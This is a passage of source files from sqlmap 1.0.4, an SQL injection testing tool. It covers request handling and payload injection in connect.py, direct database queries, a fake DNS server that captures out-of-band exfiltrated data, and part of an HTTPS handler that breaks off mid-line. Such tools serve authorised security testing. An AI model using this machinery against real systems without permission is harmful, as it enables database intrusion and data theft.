responseHeaders[URI_HTTP_HEADER] = conn.geturl() page = decodePage(page, responseHeaders.get(HTTP_HEADER.CONTENT_ENCODING), responseHeaders.get(HTTP_HEADER.CONTENT_TYPE)) status = getUnicode(conn.msg) if extractRegexResult(META_REFRESH_REGEX, page) and not refreshing: refresh = extractRegexResult(META_REFRESH_REGEX, page) debugMsg = "got HTML meta refresh header" logger.debug(debugMsg) if kb.alwaysRefresh is None: msg = "sqlmap got a refresh request " msg += "(redirect like response common to login pages). " msg += "Do you want to apply the refresh " msg += "from now on (or stay on the original page)? [Y/n]" choice = readInput(msg, default="Y") kb.alwaysRefresh = choice not in ("n", "N") if kb.alwaysRefresh: if re.search(r"\Ahttps?://", refresh, re.I): url = refresh else: url = urlparse.urljoin(url, refresh) threadData.lastRedirectMsg = (threadData.lastRequestUID, page) kwargs['refreshing'] = True kwargs['url'] = url kwargs['get'] = None kwargs['post'] = None try: return Connect._getPageProxy(**kwargs) except SqlmapSyntaxException: pass # Explicit closing of connection object if conn and not conf.keepAlive: try: if hasattr(conn.fp, '_sock'): conn.fp._sock.close() conn.close() except Exception, ex: warnMsg = "problem occurred during connection closing ('%s')" % getSafeExString(ex) logger.warn(warnMsg) except urllib2.HTTPError, ex: page = None responseHeaders = None try: page = ex.read() if not skipRead else None responseHeaders = ex.info() responseHeaders[URI_HTTP_HEADER] = ex.geturl() page = decodePage(page, responseHeaders.get(HTTP_HEADER.CONTENT_ENCODING), responseHeaders.get(HTTP_HEADER.CONTENT_TYPE)) except socket.timeout: warnMsg = "connection timed out while trying " warnMsg += "to get error page information (%d)" % ex.code logger.warn(warnMsg) return None, None, None except KeyboardInterrupt: raise except: pass finally: page = page if isinstance(page, unicode) else getUnicode(page) code = ex.code kb.originalCode = kb.originalCode or code threadData.lastHTTPError = (threadData.lastRequestUID, code) kb.httpErrorCodes[code] = kb.httpErrorCodes.get(code, 0) + 1 status = getUnicode(ex.msg) responseMsg += "[#%d] (%d %s):\n" % (threadData.lastRequestUID, code, status) if responseHeaders: logHeaders = "\n".join("%s: %s" % (getUnicode(key.capitalize() if isinstance(key, basestring) else key), getUnicode(value)) for (key, value) in responseHeaders.items()) logHTTPTraffic(requestMsg, "%s%s\n\n%s" % (responseMsg, logHeaders, (page or "")[:MAX_CONNECTION_CHUNK_SIZE])) skipLogTraffic = True if conf.verbose <= 5: responseMsg += getUnicode(logHeaders) elif conf.verbose > 5: responseMsg += "%s\n\n%s" % (logHeaders, (page or "")[:MAX_CONNECTION_CHUNK_SIZE]) logger.log(CUSTOM_LOGGING.TRAFFIC_IN, responseMsg) if ex.code == httplib.UNAUTHORIZED and not conf.ignore401: errMsg = "not authorized, try to provide right HTTP " errMsg += "authentication type and valid credentials (%d)" % code raise SqlmapConnectionException(errMsg) elif ex.code == httplib.NOT_FOUND: if raise404: errMsg = "page not found (%d)" % code raise SqlmapConnectionException(errMsg) else: debugMsg = "page not found (%d)" % code singleTimeLogMessage(debugMsg, logging.DEBUG) processResponse(page, responseHeaders) elif ex.code == httplib.GATEWAY_TIMEOUT: if ignoreTimeout: return None, None, None else: warnMsg = "unable to connect to the target URL (%d - %s)" % (ex.code, httplib.responses[ex.code]) if threadData.retriesCount < conf.retries and not kb.threadException: warnMsg += ". sqlmap is going to retry the request" logger.critical(warnMsg) return Connect._retryProxy(**kwargs) elif kb.testMode: logger.critical(warnMsg) return None, None, None else: raise SqlmapConnectionException(warnMsg) else: debugMsg = "got HTTP error code: %d (%s)" % (code, status) logger.debug(debugMsg) except (urllib2.URLError, socket.error, socket.timeout, httplib.HTTPException, struct.error, binascii.Error, ProxyError, SqlmapCompressionException, WebSocketException, TypeError): tbMsg = traceback.format_exc() if "no host given" in tbMsg: warnMsg = "invalid URL address used (%s)" % repr(url) raise SqlmapSyntaxException(warnMsg) elif "forcibly closed" in tbMsg or "Connection is already closed" in tbMsg: warnMsg = "connection was forcibly closed by the target URL" elif "timed out" in tbMsg: singleTimeWarnMessage("turning off pre-connect mechanism because of connection time out(s)") conf.disablePrecon = True if kb.testMode and kb.testType not in (None, PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED): singleTimeWarnMessage("there is a possibility that the target (or WAF) is dropping 'suspicious' requests") warnMsg = "connection timed out to the target URL" elif "URLError" in tbMsg or "error" in tbMsg: warnMsg = "unable to connect to the target URL" elif "NTLM" in tbMsg: warnMsg = "there has been a problem with NTLM authentication" elif "BadStatusLine" in tbMsg: warnMsg = "connection dropped or unknown HTTP " warnMsg += "status code received" if not conf.agent and not conf.randomAgent: warnMsg += ". Try to force the HTTP User-Agent " warnMsg += "header with option '--user-agent' or switch '--random-agent'" elif "IncompleteRead" in tbMsg: warnMsg = "there was an incomplete read error while retrieving data " warnMsg += "from the target URL" elif "Handshake status" in tbMsg: status = re.search("Handshake status ([\d]{3})", tbMsg) errMsg = "websocket handshake status %s" % status.group(1) if status else "unknown" raise SqlmapConnectionException(errMsg) else: warnMsg = "unable to connect to the target URL" if "BadStatusLine" not in tbMsg: warnMsg += " or proxy" if silent: return None, None, None elif "forcibly closed" in tbMsg: logger.critical(warnMsg) return None, None, None elif ignoreTimeout and any(_ in tbMsg for _ in ("timed out", "IncompleteRead")): return None, None, None elif threadData.retriesCount < conf.retries and not kb.threadException: warnMsg += ". sqlmap is going to retry the request" if not retrying: warnMsg += "(s)" logger.critical(warnMsg) else: logger.debug(warnMsg) return Connect._retryProxy(**kwargs) elif kb.testMode: logger.critical(warnMsg) return None, None, None else: raise SqlmapConnectionException(warnMsg) finally: if isinstance(page, basestring) and not isinstance(page, unicode): if HTTP_HEADER.CONTENT_TYPE in (responseHeaders or {}) and not re.search(TEXT_CONTENT_TYPE_REGEX, responseHeaders[HTTP_HEADER.CONTENT_TYPE]): page = unicode(page, errors="ignore") else: page = getUnicode(page) socket.setdefaulttimeout(conf.timeout) processResponse(page, responseHeaders) if conn and getattr(conn, "redurl", None): _ = urlparse.urlsplit(conn.redurl) _ = ("%s%s" % (_.path or "/", ("?%s" % _.query) if _.query else "")) requestMsg = re.sub("(\n[A-Z]+ ).+?( HTTP/\d)", "\g<1>%s\g<2>" % getUnicode(_).replace("\\", "\\\\"), requestMsg, 1) if kb.resendPostOnRedirect is False: requestMsg = re.sub("(\[#\d+\]:\n)POST ", "\g<1>GET ", requestMsg) requestMsg = re.sub("(?i)Content-length: \d+\n", "", requestMsg) requestMsg = re.sub("(?s)\n\n.+", "\n", requestMsg) responseMsg += "[#%d] (%d %s):\n" % (threadData.lastRequestUID, conn.code, status) else: responseMsg += "[#%d] (%d %s):\n" % (threadData.lastRequestUID, code, status) if responseHeaders: logHeaders = "\n".join("%s: %s" % (getUnicode(key.capitalize() if isinstance(key, basestring) else key), getUnicode(value)) for (key, value) in responseHeaders.items()) if not skipLogTraffic: logHTTPTraffic(requestMsg, "%s%s\n\n%s" % (responseMsg, logHeaders, (page or "")[:MAX_CONNECTION_CHUNK_SIZE])) if conf.verbose <= 5: responseMsg += getUnicode(logHeaders) elif conf.verbose > 5: responseMsg += "%s\n\n%s" % (logHeaders, (page or "")[:MAX_CONNECTION_CHUNK_SIZE]) logger.log(CUSTOM_LOGGING.TRAFFIC_IN, responseMsg) return page, responseHeaders, code @staticmethod def queryPage(value=None, place=None, content=False, getRatioValue=False, silent=False, method=None, timeBasedCompare=False, noteResponseTime=True, auxHeaders=None, response=False, raise404=None, removeReflection=True): """ This method calls a function to get the target URL page content and returns its page MD5 hash or a boolean value in case of string match check ('--string' command line parameter) """ if conf.direct: return direct(value, content) get = None post = None cookie = None ua = None referer = None host = None page = None pageLength = None uri = None code = None if not place: place = kb.injection.place or PLACE.GET if not auxHeaders: auxHeaders = {} raise404 = place != PLACE.URI if raise404 is None else raise404 method = method or conf.method value = agent.adjustLateValues(value) payload = agent.extractPayload(value) threadData = getCurrentThreadData() if conf.httpHeaders: headers = OrderedDict(conf.httpHeaders) contentType = max(headers[_] if _.upper() == HTTP_HEADER.CONTENT_TYPE.upper() else None for _ in headers.keys()) if (kb.postHint or conf.skipUrlEncode) and kb.postUrlEncode: kb.postUrlEncode = False conf.httpHeaders = [_ for _ in conf.httpHeaders if _[1] != contentType] contentType = POST_HINT_CONTENT_TYPES.get(kb.postHint, PLAIN_TEXT_CONTENT_TYPE) conf.httpHeaders.append((HTTP_HEADER.CONTENT_TYPE, contentType)) if payload: if kb.tamperFunctions: for function in kb.tamperFunctions: try: payload = function(payload=payload, headers=auxHeaders) except Exception, ex: errMsg = "error occurred while running tamper " errMsg += "function '%s' ('%s')" % (function.func_name, getSafeExString(ex)) raise SqlmapGenericException(errMsg) if not isinstance(payload, basestring): errMsg = "tamper function '%s' returns " % function.func_name errMsg += "invalid payload type ('%s')" % type(payload) raise SqlmapValueException(errMsg) value = agent.replacePayload(value, payload) logger.log(CUSTOM_LOGGING.PAYLOAD, safecharencode(payload.replace('\\', BOUNDARY_BACKSLASH_MARKER)).replace(BOUNDARY_BACKSLASH_MARKER, '\\')) if place == PLACE.CUSTOM_POST and kb.postHint: if kb.postHint in (POST_HINT.SOAP, POST_HINT.XML): # payloads in SOAP/XML should have chars > and < replaced # with their HTML encoded counterparts payload = payload.replace('>', ">").replace('<', "<") elif kb.postHint == POST_HINT.JSON: if payload.startswith('"') and payload.endswith('"'): payload = json.dumps(payload[1:-1]) else: payload = json.dumps(payload)[1:-1] elif kb.postHint == POST_HINT.JSON_LIKE: payload = payload.replace("'", REPLACEMENT_MARKER).replace('"', "'").replace(REPLACEMENT_MARKER, '"') if payload.startswith('"') and payload.endswith('"'): payload = json.dumps(payload[1:-1]) else: payload = json.dumps(payload)[1:-1] payload = payload.replace("'", REPLACEMENT_MARKER).replace('"', "'").replace(REPLACEMENT_MARKER, '"') value = agent.replacePayload(value, payload) else: # GET, POST, URI and Cookie payload needs to be thoroughly URL encoded if place in (PLACE.GET, PLACE.URI, PLACE.COOKIE) and not conf.skipUrlEncode or place in (PLACE.POST, PLACE.CUSTOM_POST) and kb.postUrlEncode: payload = urlencode(payload, '%', False, place != PLACE.URI) # spaceplus is handled down below value = agent.replacePayload(value, payload) if conf.hpp: if not any(conf.url.lower().endswith(_.lower()) for _ in (WEB_API.ASP, WEB_API.ASPX)): warnMsg = "HTTP parameter pollution should work only against " warnMsg += "ASP(.NET) targets" singleTimeWarnMessage(warnMsg) if place in (PLACE.GET, PLACE.POST): _ = re.escape(PAYLOAD_DELIMITER) match = re.search("(?P\w+)=%s(?P.+?)%s" % (_, _), value) if match: payload = match.group("value") for splitter in (urlencode(' '), ' '): if splitter in payload: prefix, suffix = ("*/", "/*") if splitter == ' ' else (urlencode(_) for _ in ("*/", "/*")) parts = payload.split(splitter) parts[0] = "%s%s" % (parts[0], suffix) parts[-1] = "%s%s=%s%s" % (DEFAULT_GET_POST_DELIMITER, match.group("name"), prefix, parts[-1]) for i in xrange(1, len(parts) - 1): parts[i] = "%s%s=%s%s%s" % (DEFAULT_GET_POST_DELIMITER, match.group("name"), prefix, parts[i], suffix) payload = "".join(parts) for splitter in (urlencode(','), ','): payload = payload.replace(splitter, "%s%s=" % (DEFAULT_GET_POST_DELIMITER, match.group("name"))) value = agent.replacePayload(value, payload) else: warnMsg = "HTTP parameter pollution works only with regular " warnMsg += "GET and POST parameters" singleTimeWarnMessage(warnMsg) if place: value = agent.removePayloadDelimiters(value) if PLACE.GET in conf.parameters: get = conf.parameters[PLACE.GET] if place != PLACE.GET or not value else value if PLACE.POST in conf.parameters: post = conf.parameters[PLACE.POST] if place != PLACE.POST or not value else value if PLACE.CUSTOM_POST in conf.parameters: post = conf.parameters[PLACE.CUSTOM_POST].replace(CUSTOM_INJECTION_MARK_CHAR, "") if place != PLACE.CUSTOM_POST or not value else value post = post.replace(ASTERISK_MARKER, '*') if post else post if PLACE.COOKIE in conf.parameters: cookie = conf.parameters[PLACE.COOKIE] if place != PLACE.COOKIE or not value else value if PLACE.USER_AGENT in conf.parameters: ua = conf.parameters[PLACE.USER_AGENT] if place != PLACE.USER_AGENT or not value else value if PLACE.REFERER in conf.parameters: referer = conf.parameters[PLACE.REFERER] if place != PLACE.REFERER or not value else value if PLACE.HOST in conf.parameters: host = conf.parameters[PLACE.HOST] if place != PLACE.HOST or not value else value if PLACE.URI in conf.parameters: uri = conf.url if place != PLACE.URI or not value else value else: uri = conf.url if value and place == PLACE.CUSTOM_HEADER: auxHeaders[value.split(',')[0]] = value.split(',', 1)[1] if conf.csrfToken: def _adjustParameter(paramString, parameter, newValue): retVal = paramString match = re.search("%s=(?P[^&]*)" % re.escape(parameter), paramString) if match: retVal = re.sub("%s=[^&]*" % re.escape(parameter), "%s=%s" % (parameter, newValue), paramString) return retVal page, headers, code = Connect.getPage(url=conf.csrfUrl or conf.url, data=conf.data if conf.csrfUrl == conf.url else None, method=conf.method if conf.csrfUrl == conf.url else None, cookie=conf.parameters.get(PLACE.COOKIE), direct=True, silent=True, ua=conf.parameters.get(PLACE.USER_AGENT), referer=conf.parameters.get(PLACE.REFERER), host=conf.parameters.get(PLACE.HOST)) match = re.search(r"]+name=[\"']?%s[\"']?\s[^>]*value=(\"([^\"]+)|'([^']+)|([^ >]+))" % re.escape(conf.csrfToken), page or "") token = (match.group(2) or match.group(3) or match.group(4)) if match else None if not token: if conf.csrfUrl != conf.url and code == httplib.OK: if headers and "text/plain" in headers.get(HTTP_HEADER.CONTENT_TYPE, ""): token = page if not token and conf.cj and any(_.name == conf.csrfToken for _ in conf.cj): for _ in conf.cj: if _.name == conf.csrfToken: token = _.value if not any (conf.csrfToken in _ for _ in (conf.paramDict.get(PLACE.GET, {}), conf.paramDict.get(PLACE.POST, {}))): if post: post = "%s%s%s=%s" % (post, conf.paramDel or DEFAULT_GET_POST_DELIMITER, conf.csrfToken, token) elif get: get = "%s%s%s=%s" % (get, conf.paramDel or DEFAULT_GET_POST_DELIMITER, conf.csrfToken, token) else: get = "%s=%s" % (conf.csrfToken, token) break if not token: errMsg = "anti-CSRF token '%s' can't be found at '%s'" % (conf.csrfToken, conf.csrfUrl or conf.url) if not conf.csrfUrl: errMsg += ". You can try to rerun by providing " errMsg += "a valid value for option '--csrf-url'" raise SqlmapTokenException, errMsg if token: for place in (PLACE.GET, PLACE.POST): if place in conf.parameters: if place == PLACE.GET and get: get = _adjustParameter(get, conf.csrfToken, token) elif place == PLACE.POST and post: post = _adjustParameter(post, conf.csrfToken, token) for i in xrange(len(conf.httpHeaders)): if conf.httpHeaders[i][0].lower() == conf.csrfToken.lower(): conf.httpHeaders[i] = (conf.httpHeaders[i][0], token) if conf.rParam: def _randomizeParameter(paramString, randomParameter): retVal = paramString match = re.search(r"(\A|\b)%s=(?P[^&;]+)" % re.escape(randomParameter), paramString) if match: origValue = match.group("value") retVal = re.sub(r"(\A|\b)%s=[^&;]+" % re.escape(randomParameter), "%s=%s" % (randomParameter, randomizeParameterValue(origValue)), paramString) return retVal for randomParameter in conf.rParam: for item in (PLACE.GET, PLACE.POST, PLACE.COOKIE, PLACE.URI, PLACE.CUSTOM_POST): if item in conf.parameters: if item == PLACE.GET and get: get = _randomizeParameter(get, randomParameter) elif item in (PLACE.POST, PLACE.CUSTOM_POST) and post: post = _randomizeParameter(post, randomParameter) elif item == PLACE.COOKIE and cookie: cookie = _randomizeParameter(cookie, randomParameter) elif item == PLACE.URI and uri: uri = _randomizeParameter(uri, randomParameter) if conf.evalCode: delimiter = conf.paramDel or DEFAULT_GET_POST_DELIMITER variables = {"uri": uri, "lastPage": threadData.lastPage, "_locals": locals()} originals = {} keywords = keyword.kwlist if not get and PLACE.URI in conf.parameters: query = urlparse.urlsplit(uri).query or "" else: query = None for item in filter(None, (get, post if not kb.postHint else None, query)): for part in item.split(delimiter): if '=' in part: name, value = part.split('=', 1) name = re.sub(r"[^\w]", "", name.strip()) if name in keywords: name = "%s%s" % (name, EVALCODE_KEYWORD_SUFFIX) value = urldecode(value, convall=True, plusspace=(item==post and kb.postSpaceToPlus)) variables[name] = value if cookie: for part in cookie.split(conf.cookieDel or DEFAULT_COOKIE_DELIMITER): if '=' in part: name, value = part.split('=', 1) name = re.sub(r"[^\w]", "", name.strip()) if name in keywords: name = "%s%s" % (name, EVALCODE_KEYWORD_SUFFIX) value = urldecode(value, convall=True) variables[name] = value while True: try: compiler.parse(conf.evalCode.replace(';', '\n')) except SyntaxError, ex: original = replacement = ex.text.strip() for _ in re.findall(r"[A-Za-z_]+", original)[::-1]: if _ in keywords: replacement = replacement.replace(_, "%s%s" % (_, EVALCODE_KEYWORD_SUFFIX)) break if original == replacement: conf.evalCode = conf.evalCode.replace(EVALCODE_KEYWORD_SUFFIX, "") break else: conf.evalCode = conf.evalCode.replace(ex.text.strip(), replacement) else: break originals.update(variables) evaluateCode(conf.evalCode, variables) for variable in variables.keys(): if variable.endswith(EVALCODE_KEYWORD_SUFFIX): value = variables[variable] del variables[variable] variables[variable.replace(EVALCODE_KEYWORD_SUFFIX, "")] = value uri = variables["uri"] for name, value in variables.items(): if name != "__builtins__" and originals.get(name, "") != value: if isinstance(value, (basestring, int)): found = False value = getUnicode(value) regex = r"((\A|%s)%s=).+?(%s|\Z)" % (re.escape(delimiter), re.escape(name), re.escape(delimiter)) if re.search(regex, (get or "")): found = True get = re.sub(regex, "\g<1>%s\g<3>" % value, get) if re.search(regex, (post or "")): found = True post = re.sub(regex, "\g<1>%s\g<3>" % value, post) if re.search(regex, (query or "")): found = True uri = re.sub(regex.replace(r"\A", r"\?"), "\g<1>%s\g<3>" % value, uri) regex = r"((\A|%s)%s=).+?(%s|\Z)" % (re.escape(conf.cookieDel or DEFAULT_COOKIE_DELIMITER), name, re.escape(conf.cookieDel or DEFAULT_COOKIE_DELIMITER)) if re.search(regex, (cookie or "")): found = True cookie = re.sub(regex, "\g<1>%s\g<3>" % value, cookie) if not found: if post is not None: post += "%s%s=%s" % (delimiter, name, value) elif get is not None: get += "%s%s=%s" % (delimiter, name, value) elif cookie is not None: cookie += "%s%s=%s" % (conf.cookieDel or DEFAULT_COOKIE_DELIMITER, name, value) if not conf.skipUrlEncode: get = urlencode(get, limit=True) if post is not None: if place not in (PLACE.POST, PLACE.CUSTOM_POST) and hasattr(post, UNENCODED_ORIGINAL_VALUE): post = getattr(post, UNENCODED_ORIGINAL_VALUE) elif kb.postUrlEncode: post = urlencode(post, spaceplus=kb.postSpaceToPlus) if timeBasedCompare: if len(kb.responseTimes.get(kb.responseTimeMode, [])) < MIN_TIME_RESPONSES: clearConsoleLine() kb.responseTimes.setdefault(kb.responseTimeMode, []) if conf.tor: warnMsg = "it's highly recommended to avoid usage of switch '--tor' for " warnMsg += "time-based injections because of its high latency time" singleTimeWarnMessage(warnMsg) warnMsg = "[%s] [WARNING] %stime-based comparison requires " % (time.strftime("%X"), "(case) " if kb.responseTimeMode else "") warnMsg += "larger statistical model, please wait" dataToStdout(warnMsg) while len(kb.responseTimes[kb.responseTimeMode]) < MIN_TIME_RESPONSES: value = kb.responseTimePayload.replace(RANDOM_INTEGER_MARKER, str(randomInt(6))).replace(RANDOM_STRING_MARKER, randomStr()) if kb.responseTimePayload else kb.responseTimePayload Connect.queryPage(value=value, content=True, raise404=False) dataToStdout('.') dataToStdout(" (done)\n") elif not kb.testMode: warnMsg = "it is very important to not stress the network adapter " warnMsg += "during usage of time-based payloads to prevent potential " warnMsg += "disruptions " singleTimeWarnMessage(warnMsg) if not kb.laggingChecked: kb.laggingChecked = True deviation = stdev(kb.responseTimes[kb.responseTimeMode]) if deviation > WARN_TIME_STDEV: kb.adjustTimeDelay = ADJUST_TIME_DELAY.DISABLE warnMsg = "considerable lagging has been detected " warnMsg += "in connection response(s). Please use as high " warnMsg += "value for option '--time-sec' as possible (e.g. " warnMsg += "10 or more)" logger.critical(warnMsg) if conf.safeFreq > 0: kb.queryCounter += 1 if kb.queryCounter % conf.safeFreq == 0: if conf.safeUrl: Connect.getPage(url=conf.safeUrl, post=conf.safePost, cookie=cookie, direct=True, silent=True, ua=ua, referer=referer, host=host) elif kb.safeReq: Connect.getPage(url=kb.safeReq.url, post=kb.safeReq.post, method=kb.safeReq.method, auxHeaders=kb.safeReq.headers) start = time.time() if kb.nullConnection and not content and not response and not timeBasedCompare: noteResponseTime = False try: pushValue(kb.pageCompress) kb.pageCompress = False if kb.nullConnection == NULLCONNECTION.HEAD: method = HTTPMETHOD.HEAD elif kb.nullConnection == NULLCONNECTION.RANGE: auxHeaders[HTTP_HEADER.RANGE] = "bytes=-1" _, headers, code = Connect.getPage(url=uri, get=get, post=post, method=method, cookie=cookie, ua=ua, referer=referer, host=host, silent=silent, auxHeaders=auxHeaders, raise404=raise404, skipRead=(kb.nullConnection == NULLCONNECTION.SKIP_READ)) if headers: if kb.nullConnection in (NULLCONNECTION.HEAD, NULLCONNECTION.SKIP_READ) and headers.get(HTTP_HEADER.CONTENT_LENGTH): pageLength = int(headers[HTTP_HEADER.CONTENT_LENGTH]) elif kb.nullConnection == NULLCONNECTION.RANGE and headers.get(HTTP_HEADER.CONTENT_RANGE): pageLength = int(headers[HTTP_HEADER.CONTENT_RANGE][headers[HTTP_HEADER.CONTENT_RANGE].find('/') + 1:]) finally: kb.pageCompress = popValue() if not pageLength: try: page, headers, code = Connect.getPage(url=uri, get=get, post=post, method=method, cookie=cookie, ua=ua, referer=referer, host=host, silent=silent, auxHeaders=auxHeaders, response=response, raise404=raise404, ignoreTimeout=timeBasedCompare) except MemoryError: page, headers, code = None, None, None warnMsg = "site returned insanely large response" if kb.testMode: warnMsg += " in testing phase. This is a common " warnMsg += "behavior in custom WAF/IDS/IPS solutions" singleTimeWarnMessage(warnMsg) if conf.secondOrder: page, headers, code = Connect.getPage(url=conf.secondOrder, cookie=cookie, ua=ua, silent=silent, auxHeaders=auxHeaders, response=response, raise404=False, ignoreTimeout=timeBasedCompare, refreshing=True) threadData.lastQueryDuration = calculateDeltaSeconds(start) threadData.lastPage = page kb.originalCode = kb.originalCode or code if kb.testMode: kb.testQueryCount += 1 if timeBasedCompare: return wasLastResponseDelayed() elif noteResponseTime: kb.responseTimes.setdefault(kb.responseTimeMode, []) kb.responseTimes[kb.responseTimeMode].append(threadData.lastQueryDuration) if not response and removeReflection: page = removeReflectiveValues(page, payload) kb.maxConnectionsFlag = re.search(MAX_CONNECTIONS_REGEX, page or "", re.I) is not None kb.permissionFlag = re.search(PERMISSION_DENIED_REGEX, page or "", re.I) is not None if content or response: return page, headers if getRatioValue: return comparison(page, headers, code, getRatioValue=False, pageLength=pageLength), comparison(page, headers, code, getRatioValue=True, pageLength=pageLength) else: return comparison(page, headers, code, getRatioValue, pageLength) def setHTTPHandlers(): # Cross-linked function raise NotImplementedError sqlmap-1.0.4/lib/request/direct.py000066400000000000000000000051531270044205500170760ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ import time from extra.safe2bin.safe2bin import safecharencode from lib.core.agent import agent from lib.core.common import Backend from lib.core.common import calculateDeltaSeconds from lib.core.common import extractExpectedValue from lib.core.common import getCurrentThreadData from lib.core.common import getUnicode from lib.core.common import hashDBRetrieve from lib.core.common import hashDBWrite from lib.core.common import isListLike from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.dicts import SQL_STATEMENTS from lib.core.enums import CUSTOM_LOGGING from lib.core.enums import DBMS from lib.core.enums import EXPECTED from lib.core.settings import UNICODE_ENCODING from lib.utils.timeout import timeout def direct(query, content=True): select = True query = agent.payloadDirect(query) query = agent.adjustLateValues(query) threadData = getCurrentThreadData() if Backend.isDbms(DBMS.ORACLE) and query.upper().startswith("SELECT ") and " FROM " not in query.upper(): query = "%s FROM DUAL" % query for sqlTitle, sqlStatements in SQL_STATEMENTS.items(): for sqlStatement in sqlStatements: if query.lower().startswith(sqlStatement) and sqlTitle != "SQL SELECT statement": select = False break if select and not query.upper().startswith("SELECT "): query = "SELECT %s" % query logger.log(CUSTOM_LOGGING.PAYLOAD, query) output = hashDBRetrieve(query, True, True) start = time.time() if not select and "EXEC " not in query.upper(): _ = timeout(func=conf.dbmsConnector.execute, args=(query,), duration=conf.timeout, default=None) elif not (output and "sqlmapoutput" not in query and "sqlmapfile" not in query): output = timeout(func=conf.dbmsConnector.select, args=(query,), duration=conf.timeout, default=None) hashDBWrite(query, output, True) elif output: infoMsg = "resumed: %s..." % getUnicode(output, UNICODE_ENCODING)[:20] logger.info(infoMsg) threadData.lastQueryDuration = calculateDeltaSeconds(start) if not output: return output elif content: if output and isListLike(output): if len(output[0]) == 1: output = [_[0] for _ in output] retVal = getUnicode(output, noneToNull=True) return safecharencode(retVal) if kb.safeCharEncode else retVal else: return extractExpectedValue(output, EXPECTED.BOOL) sqlmap-1.0.4/lib/request/dns.py000066400000000000000000000116411270044205500164070ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ import os import re import socket import threading import time class DNSQuery(object): """ Used for making fake DNS resolution responses based on received raw request Reference(s): http://code.activestate.com/recipes/491264-mini-fake-dns-server/ https://code.google.com/p/marlon-tools/source/browse/tools/dnsproxy/dnsproxy.py """ def __init__(self, raw): self._raw = raw self._query = "" type_ = (ord(raw[2]) >> 3) & 15 # Opcode bits if type_ == 0: # Standard query i = 12 j = ord(raw[i]) while j != 0: self._query += raw[i + 1:i + j + 1] + '.' i = i + j + 1 j = ord(raw[i]) def response(self, resolution): """ Crafts raw DNS resolution response packet """ retVal = "" if self._query: retVal += self._raw[:2] # Transaction ID retVal += "\x85\x80" # Flags (Standard query response, No error) retVal += self._raw[4:6] + self._raw[4:6] + "\x00\x00\x00\x00" # Questions and Answers Counts retVal += self._raw[12:(12 + self._raw[12:].find("\x00") + 5)] # Original Domain Name Query retVal += "\xc0\x0c" # Pointer to domain name retVal += "\x00\x01" # Type A retVal += "\x00\x01" # Class IN retVal += "\x00\x00\x00\x20" # TTL (32 seconds) retVal += "\x00\x04" # Data length retVal += "".join(chr(int(_)) for _ in resolution.split('.')) # 4 bytes of IP return retVal class DNSServer(object): def __init__(self): self._check_localhost() self._requests = [] self._lock = threading.Lock() self._socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) self._socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) self._socket.bind(("", 53)) self._running = False self._initialized = False def _check_localhost(self): response = "" try: s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) s.connect(("", 53)) s.send("6509012000010000000000010377777706676f6f676c6503636f6d00000100010000291000000000000000".decode("hex")) # A www.google.com response = s.recv(512) except: pass finally: if response and "google" in response: raise socket.error("another DNS service already running on *:53") def pop(self, prefix=None, suffix=None): """ Returns received DNS resolution request (if any) that has given prefix/suffix combination (e.g. prefix..suffix.domain) """ retVal = None with self._lock: for _ in self._requests: if prefix is None and suffix is None or re.search("%s\..+\.%s" % (prefix, suffix), _, re.I): retVal = _ self._requests.remove(_) break return retVal def run(self): """ Runs a DNSServer instance as a daemon thread (killed by program exit) """ def _(): try: self._running = True self._initialized = True while True: data, addr = self._socket.recvfrom(1024) _ = DNSQuery(data) self._socket.sendto(_.response("127.0.0.1"), addr) with self._lock: self._requests.append(_._query) except KeyboardInterrupt: raise finally: self._running = False thread = threading.Thread(target=_) thread.daemon = True thread.start() if __name__ == "__main__": server = None try: server = DNSServer() server.run() while not server._initialized: time.sleep(0.1) while server._running: while True: _ = server.pop() if _ is None: break else: print "[i] %s" % _ time.sleep(1) except socket.error, ex: if 'Permission' in str(ex): print "[x] Please run with sudo/Administrator privileges" else: raise except KeyboardInterrupt: os._exit(0) finally: if server: server._running = False sqlmap-1.0.4/lib/request/httpshandler.py000066400000000000000000000074071270044205500203300ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ import distutils.version import httplib import socket import urllib2 from lib.core.common import getSafeExString from lib.core.data import kb from lib.core.data import logger from lib.core.exception import SqlmapConnectionException from lib.core.settings import PYVERSION ssl = None try: import ssl as _ssl ssl = _ssl except ImportError: pass _protocols = filter(None, (getattr(ssl, _, None) for _ in ("PROTOCOL_TLSv1_2", "PROTOCOL_TLSv1_1", "PROTOCOL_TLSv1", "PROTOCOL_SSLv3", "PROTOCOL_SSLv23", "PROTOCOL_SSLv2"))) class HTTPSConnection(httplib.HTTPSConnection): """ Connection class that enables usage of newer SSL protocols. Reference: http://bugs.python.org/msg128686 """ def __init__(self, *args, **kwargs): httplib.HTTPSConnection.__init__(self, *args, **kwargs) def connect(self): def create_sock(): sock = socket.create_connection((self.host, self.port), self.timeout) if getattr(self, "_tunnel_host", None): self.sock = sock self._tunnel() return sock success = False # Reference(s): https://docs.python.org/2/library/ssl.html#ssl.SSLContext # https://www.mnot.net/blog/2014/12/27/python_2_and_tls_sni if kb.tlsSNI.get(self.host) != False and hasattr(ssl, "SSLContext"): for protocol in filter(lambda _: _ >= ssl.PROTOCOL_TLSv1, _protocols): try: sock = create_sock() context = ssl.SSLContext(protocol) _ = context.wrap_socket(sock, do_handshake_on_connect=True, server_hostname=self.host) if _: success = True self.sock = _ _protocols.remove(protocol) _protocols.insert(0, protocol) break else: sock.close() except (ssl.SSLError, socket.error, httplib.BadStatusLine), ex: self._tunnel_host = None logger.debug("SSL connection error occurred ('%s')" % getSafeExString(ex)) if kb.tlsSNI.get(self.host) is None: kb.tlsSNI[self.host] = success if not success: for protocol in _protocols: try: sock = create_sock() _ = ssl.wrap_socket(sock, self.key_file, self.cert_file, ssl_version=protocol) if _: success = True self.sock = _ _protocols.remove(protocol) _protocols.insert(0, protocol) break else: sock.close() except (ssl.SSLError, socket.error, 